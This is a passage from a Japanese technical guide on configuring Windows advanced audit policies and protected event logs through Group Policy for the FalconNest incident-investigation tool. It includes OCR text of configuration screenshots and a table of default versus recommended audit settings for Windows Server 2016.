<ul> <li>○ タブレット PC</li> <li>○ データの収集とブレビュー ビルド</li> <li>○ デジタル ロッカー</li> <li>&gt; ○ デフクトップ ウインドウ マネージャー</li> </ul>	標準と、指定された公開キーを使用して暗 号化されます。暗号化に使用された公開 キーに対応する秘密キーにアクセスできる場 含は、Unprotect-CmsMessage PowerShell コマンドレットを使用して、これ				
<ul> <li>□ デスクトップ ガジェット</li> <li>□ デバイスとドライバーの互換性</li> <li>□ デバイスの登録</li> </ul>	らの暗号化メッセージの暗号化を解除でき ます。				
<ul> <li>アイル度歴</li> <li>アイル度歴</li> <li>ブレゼンテーションの設定</li> <li>ポータブル オペレーティング システム</li> </ul>	このホリシー設定を無効にした場合、または 構成しなかった場合、コンポーネントはイベン トログメッセージをイベントログに書き込む 前に暗号化しません。				
ご ホームグループ □ マップ		<			>
< >>	∖拡張√標準/				
1 個の設定					

図 39「保護されたイベント ログを有効にする」設定項目

10. (参考情報)Windows デフォルト設定をグループポリシーに反映

[監査ポリシーの詳細な構成] の Windows デフォルト設定は、Microsoft 社の資料では以下のようになっています<sup>19</sup>。

Audit Policy Recommendations | Microsoft Docs <u>https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/se</u> curity-best-practices/audit-policy-recommendations

本付録では、「Default Domain Policy」をベースに、デフォルト設定の適用を示します。<sup>20</sup> OS やバージョンの違いなどにより、デフォルト設定が異なる可能性もあります。有効になっている設定は auditpol コマンドで確認してください。

<sup>&</sup>lt;sup>19</sup>ただし弊社の検証では、実際の Windows デフォルト設定がこの通りにではないケースを確認していま す。このため実際の環境では、ここで紹介するデフォルト設定ではなく、監査ポリシーのバックアップとリス トアを実施することを推奨します。

<sup>&</sup>lt;sup>20</sup> Windows Server 2016 のドメインコントローラ上で auditpol /backup コマンドを実行し、取得 した結果を Default Domain Policy ヘインポートした状態。

## 10.1.アカウント ログオン



図 40: [アカウント ログオン] の設定

## 10.2.アカウントの管理

<ul> <li>」「グループ ポリシー管理エディター</li> <li>ファイル(E) 操作(A) 表示(V) ヘルプ(H)</li> </ul>		— — X
🗢 🌩 🛛 📶 🔒 🛛 🖬		
<ul> <li>         ◆ ● 監査ボリシーの詳細な構成         ◆ ● 監査ボリシー          </li> <li>         &gt; アカウントログオン          </li> <li>         &gt; アカウントの管理          </li> <li>         &gt; アカウントの管理          </li> <li>         &gt; 回 アカウントの管理          </li> <li>         &gt; 回 アクセス          </li> <li>         &gt; 回 ブオン/ログオフ          </li> <li>         &gt; 回 ガオン/ログオフ          </li> <li>         &gt; 可 オブジェクト アクセス          </li> <li>         &gt; 回 ボリシーの変更          </li> <li>         &gt; 回 グロー/(ル オブジェクト アクセスの監査          </li> <li>         * ブロー/(ル オブジェクト アクセスの監査          </li> <li>         * プロー/(ル コンピューターから取得したポリシー定義(ALL          </li> <li>         * の構成          </li> <li>         !&gt;&gt;         </li> </ul>	サブカテゴリ	<u>監</u>
	<	>

図 41: [アカウントの管理] の設定

#### 10.3. 詳細追跡



図 42: [詳細追跡]の設定

### 10.4. DS アクセス

■ グループ ポリシー管理エディター		- 🗆	×
ファイル(E) 操作(A) 表示(V) ヘルプ(H)			
🗢 🔿 🔽 🔂 🔀 🖬			
*       監査ボリシーの詳細な構成       *         *       語 アカウントログオン         >       語 アカウントの管理         >       語 アカウントの管理         >       語 Pクセス         >       語 ログオン/ログオフ         >       語 パリシーの変更         >       語 ポリシーの変更         >       語 ゲローバル オブジェクト アクセスの監査         ・       ゴローバル オブジェクト アクセスの監査         ・       ゴローバル コンピューターから取得したポリシー定義 (ALI 本設定         ・の構成       !!         !!       !	サブカテゴリ	<u>監査イベント</u> 未構成 成功 未構成 未構成	
< >>	<	1	>

図 43: [DS アクセス] の設定

# 10.5.ログオン/ログオフ

	テゴリ 監査イ ウウントロックアウトの監査 成功 ・ザー要求/デバイスの信頼性情報の監査 未構成 レープメンバーシップの監査 未構成 ec 拡張モードの監査 未構成	(ベント 克 克
* <ul></ul>	テゴリ     監査イ     成功     ウントロックアウトの監査     成功     ・ザー要求/デバイスの信頼性情報の監査     未構成     、ーブメンバーシップの監査     未構成     ec 拡張モードの監査     未構成	パント t t
<ul> <li>&gt; 違うステム</li> <li>&gt; 道グローバルオブジェクトアクセスの監査</li> <li>● パローバルオブジェクトアクセスの監査</li> <li>● ペースの QoS</li> <li>管理用テンプレート: ローカル コンピューターから取得したポリシー定義 (AE</li> <li>本設定</li> <li>- の構成</li> <li>(</li> <li>&gt; (</li> </ul>	ec メイン モードの監査 未構成 ec クイック モードの監査 未構成 が大フの監査 成功 が大クーク ポリシー サーバーの監査 成功お かトワーク ポリシー サーバーの監査 成功お の他のログオン/ログオフ イベントの監査 未構成 除なログオンの監査 成功	<sup>8</sup> 党 Sよび失敗 Sよび失敗 党

図 44 : [ログオン/ログオフ]の設定

# 10.6.オブジェクト アクセス

// ゴル−プ ポリシー管理エディター		- 🗆 X	
ファイル(E) 操作(A) 表示(V) ヘルプ(H)			
🗢 🔿 📶 🔒 🖬 🖬			
<ul> <li>◇ ● 監査ボリシーの詳細な構成</li> <li>◇ ● E査ボリシー</li> <li>◇ ● アカウントログオン</li> <li>◇ ● アカウントの管理</li> <li>◇ ● DS アクセス</li> <li>&gt; ● DS アクセス</li> <li>&gt; ● ログオン/ログオフ</li> <li>&gt; ● ログオン/ログオフ</li> <li>&gt; ● オブジェクト アクセス</li> <li>&gt; ● ボリシーの変更</li> <li>&gt; ● 特権の使用</li> <li>&gt; ● システム</li> <li>&gt; ● グローバル オブジェクト アクセスの監査</li> <li>● ボリシーベースの QoS</li> <li>管理用テンプレート: ローカル コンピューターから取得したポリシー定義 (AE</li> <li>本 設定</li> <li>の構成</li> </ul>	サブカテゴリ (1) 生成されたアブリケーションの監査 (1) 証明書サービスの監査 (1) 証明書サービスの監査 (1) 詳細なファイル共有の監査 (1) ファイルシステムの監査 (1) ファイルタリング ブラットフォームの接続の監査 (1) フィルタリング ブラットフォーム パケットの破棄の監査 (1) フィルタリング ブラットフォーム パケットの (1) ファイルタリング ブラットフォーム パケットの (1) ファイルタリング ブラットフォーム パケットの (1) ファイルタリング ブラットフォーム パケットの (1) ファイルタリング ファージングの (1) ロックセス ポリシー ステージングの監査	監未未未未未未未未未未未未未未未 査檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣檣	
< >>	<	2	>

図 45 : 【オブジェクト アクセス】の設定

#### 10.7.ポリシーの変更



図 46 [ポリシーの変更] の設定

#### 10.8.特権の使用

圓 グル−プ ポリシー管理エディター		- 🗆 ×
ファイル(E) 操作(A) 表示(V) ヘルプ(H)		
🗢 🔿 🔁 💼 🔒 🛛 🖬		
<ul> <li>◇ ● 監査ポリシーの詳細な構成</li> <li>◇ ● ご査ポリシー</li> <li>&gt; ● アカウントログオン</li> <li>&gt; ● アカウントの管理</li> <li>&gt; ● ジボウントの管理</li> <li>&gt; ● ジボクセス</li> <li>&gt; ● ログオン/ログオフ</li> <li>&gt; ● オブジェクトアクセス</li> <li>&gt; ● ジステム</li> <li>&gt; ● ● ジステム</li> <li>&gt; ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●</li></ul>	サブカテゴリ	<u> 監</u> <u> </u>
`		

図 47: [特権の使用] の設定

10.9.システム



図 48 : [システム] の設定

## 10.10. グローバル オブジェクト アクセスの監査



図 49 [グローバル オブジェクト アクセスの監査] の設定

## 11.(参考情報)監査設定一覧

下記は FalconNest (Live Investigator)をご利用いただく上で必要となる監査項目となります。セキュリティ全般や、情報漏洩などの観点を含む監査設定については、別途「Windows イベントログ\_監査項目リスト(FalconNest)」の「監査項目一覧」シートF列、G列をご参照ください。

NO	設定項目	既定值21	FalconNest チェック項目	設定值 <sup>22</sup>
1	アカウント ログオン⇒資格情報の確認の監査	成功		成功
2	アカウント ログオン⇒Kerberos 認証サービスの監査	成功	成功および失敗	成功および失敗
3	アカウント ログオン⇒Kerberos サービス チケット操作の監査	成功	成功および失敗	成功および失敗
4	アカウント ログオン⇒その他のアカウント ログオン イベントの監査	監査なし		未構成
5	アカウントの管理⇒アプリケーション グループの管理の監査	監査なし		未構成
6	アカウントの管理⇒コンピューター アカウントの管理の監査	成功		成功
7	アカウントの管理→配布グループの管理の監査	監査なし		未構成
8	アカウントの管理⇒その他のアカウント管理イベントの監査	監査なし		未構成
9	アカウントの管理⇒セキュリティ グループの管理の監査	成功		成功
10	アカウントの管理⇒ユーザー アカウントの管理の監査	成功		成功
11	詳細追跡⇒DPAPI アクティビティの監査	監査なし		未構成
12	詳細追跡⇒PNP アクティビティの監査	監査なし		未構成
13	詳細追跡⇒プロセス作成の監査	監査なし	成功	成功
14	詳細追跡⇒プロセス終了の監査	監査なし		未構成
15	詳細追跡⇒RPC イベントの監査	監査なし		未構成
16	詳細追跡⇒Audit Token Right Adjusted	監査なし		未構成
17	DS アクセス⇒詳細なディレクトリ サービス レプリケーションの監査	監査なし		未構成
18	 DS アクセス⇒ディレクトリ サービス アクセスの監査	成功	成功および失敗	成功および失敗

表 2 Windows Server 2016 環境の監査設定一覧

<sup>21</sup>「既定値」は「未構成」時の OS 初期状態で設定されている値です。 参考 URL: 監査ポリシーの設定と AuditPol コマンドの実行結果に差異が発生する https://support.microsoft.com/ja-jp/help/2855812

<sup>&</sup>lt;sup>22</sup>「設定値」は OS の「既定値」、GPO の適用と優先順位、「FalconNest チェック項目」を踏まえた上 で設定する値です。

NO	設定項目	既定值21	FalconNest チェック項目	設定值 <sup>22</sup>
19	DS アクセス⇒ディレクトリ サービスの変更の監査	監査なし		未構成
20	DS アクセス⇒ディレクトリ サービス レプリケーションの監査	監査なし		未構成
21	ログオン/ログオフ⇒アカウント ロックアウトの監査	成功		成功
22	ログオン/ログオフ⇒ユーザー要求/デバイスの信頼性情報の監査	監査なし		未構成
23	ログオン/ログオフ⇒グループ メンバーシップの監査	監査なし		未構成
24	ログオン/ログオフ⇒IPsec 拡張モードの監査	監査なし		未構成
25	ログオン/ログオフ⇒IPsec メイン モードの監査	監査なし		未構成
26	ログオン/ログオフ⇒IPsec クイック モードの監査	監査なし		未構成
27	ログオン/ログオフ⇒ログオフの監査	成功		成功
28	ログオン/ログオフ⇒ログオンの監査	成功および失敗	成功および失敗	成功および失敗
29	ログオン/ログオフ⇒ネットワーク ポリシー サーバーの監査	成功および失敗		成功および失敗
30	ログオン/ログオフ⇒その他のログオン/ログオフ イベントの監査	監査なし		未構成
31	ログオン/ログオフ→特殊なログオンの監査	成功	成功	成功
32	オブジェクト アクセス⇒生成されたアプリケーションの監査	監査なし		未構成
33	オブジェクト アクセス⇒証明書サービスの監査	監査なし		未構成
34	オブジェクト アクセス⇒詳細なファイル共有の監査	監査なし		未構成
35	オブジェクト アクセス⇒ファイル共有の監査	監査なし		未構成
36	オブジェクト アクセス⇒ファイル システムの監査	監査なし		未構成
37	オブジェクト アクセス⇒フィルタリング プラットフォームの接続の監査	監査なし		未構成
38	オブジェクト アクセス⇒フィルタリング プラットフォーム パケットの破棄の監査	監査なし		未構成
39	オブジェクト アクセス→ハンドル操作の監査	監査なし		未構成
40	オブジェクト アクセス⇒カーネル オブジェクトの監査	監査なし		未構成
41	オブジェクト アクセス⇒その他のオブジェクト アクセス イベントの監査	監査なし	成功	成功
42	オブジェクト アクセス⇒レジストリの監査	監査なし		未構成
43	オブジェクト アクセス⇒リムーバブル記憶域の監査	監査なし		未構成
44	オブジェクト アクセス⇒SAM の監査	監査なし		未構成
45	オブジェクト アクセス⇒集約型アクセス ポリシー ステージングの監査	監査なし		未構成
46	ポリシーの変更⇒監査ポリシーの変更の監査	成功	成功	成功
47	ポリシーの変更⇒認証ポリシーの変更の監査	成功		成功
48	ポリシーの変更⇒承認ポリシーの変更の監査	監査なし		未構成
49	ポリシーの変更⇒フィルタリング プラットフォーム ポリシーの変更の監査	監査なし		未構成

NO	設定項目	既定值 <sup>21</sup>	FalconNest チェック項目	設定值22
50	ポリシーの変更⇒MPSSVC ルールレベル ポリシーの変更の監査	監査なし		未構成
51	ポリシーの変更⇒その他のポリシー変更イベントの監査	監査なし		未構成
52	特権の使用⇒重要でない特権の使用の監査	監査なし		未構成
53	特権の使用→その他の特権の使用イベントの監査	監査なし		未構成
54	特権の使用→重要な特権の使用の監査	監査なし		未構成
55	システム⇒IPsec ドライバーの監査	監査なし		未構成
56	システム⇒その他のシステム イベントの監査	成功および失敗		成功および失敗
57	システム⇒セキュリティ状態の変更の監査	成功		成功
58	システム⇒セキュリティ システムの拡張の監査	監査なし	成功	成功
59	システム⇒システムの整合性の監査	成功および失敗		成功および失敗
60	グローバル オブジェクトアクセスの監査⇒ファイル システム	監査なし		未構成
61	グローバル オブジェクトアクセスの監査⇒レジストリ	監査なし		未構成

以上